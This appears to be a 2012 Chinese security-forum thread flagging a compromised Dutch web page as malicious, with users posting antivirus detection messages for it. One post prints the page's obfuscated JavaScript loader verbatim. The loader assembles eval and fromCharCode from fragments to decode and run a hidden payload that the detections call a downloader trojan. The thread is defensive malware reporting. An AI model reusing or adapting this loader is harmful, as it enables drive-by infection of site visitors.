http://rtvbetuwe.nl/pages/links.html[恶意][by 帅就是帅]

显示全部楼层 · 发表于 2012-5-20 07:50:45

本帖最后由疯狂的小鬼于 2012-5-20 13:51 编辑

http://rtvbetuwe.nl/pages/links.html

MSE拦截
Category: Exploit

Description: This program is dangerous and exploits the computer on which it is run.

Recommended action: Remove this software immediately.

Items:
file:C:\Documents and Settings\A\Local Settings\Temporary Internet Files\Content.IE5\RDFK45E6\links[1].htm

Get more information about this item online.

显示全部楼层 · 发表于 2012-5-20 09:55:20

显示全部楼层 · 发表于 2012-5-20 11:23:40

FS

显示全部楼层 · 发表于 2012-5-20 13:39:28

恶意.

<script>try{q=document.createElement("d"+"i"+"v");q.appendChild(q+"");}catch(qw){h=-012/5;}try{prototype;}catch(brebr){st=String;zz='al';zz='zv'.substr(123-122)+zz;ss=[];f='fr'+'om'+'Ch';f+='arC';f+='ode';w=this;e=w[f["substr"](11)+zz];n="3.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5"[((e)?"s":"")+"p"+"lit"]("a$"[((e)?"su":"")+"bstr"](1));for(i=6-2-1-2-1;i-553!=0;i++){j=i;if(st)ss=ss+st.fromCharCode(-1*h*(1+1*n[j]));}q=ss;e(q);}</script>

复制代码

显示全部楼层 · 发表于 2012-5-20 14:55:15

显示全部楼层 · 发表于 2012-5-20 18:48:29

无法访问该网页

请求对象位于网址：

http://rtvbetuwe.nl/pages/links.html

检测到威胁：

对象已感染病毒Trojan-Downloader.JS.Iframe.cwu

显示全部楼层 · 发表于 2012-5-20 21:35:26

本帖最后由 njjsxy 于 2012-5-20 21:47 编辑

捕获.PNG

显示全部楼层 · 发表于 2012-5-20 23:16:37

STOP! Bitdefender blocked this web page.
The page you are trying to access contains malware.

Details:
Web Page: http://rtvbetuwe.nl/pages/links.html
Detected viruses: JS:Trojan.Crypt.CO

Access from your browser has been blocked.
Take me back to safety

显示全部楼层 · 发表于 2012-5-21 09:36:04

病毒: JS:Trojan.Crypt.CO (引擎A), JS:Redirector-UQ [Trj] (引擎B)

下载网页内容时发现病毒。

地址: rtvbetuwe.nl
状态：访问被拒绝。

显示全部楼层 · 发表于 2012-5-21 21:38:36

小A报特洛伊木马

[已鉴定] http://rtvbetuwe.nl/pages/links.html[恶意][by 帅就是帅]

浏览过的版块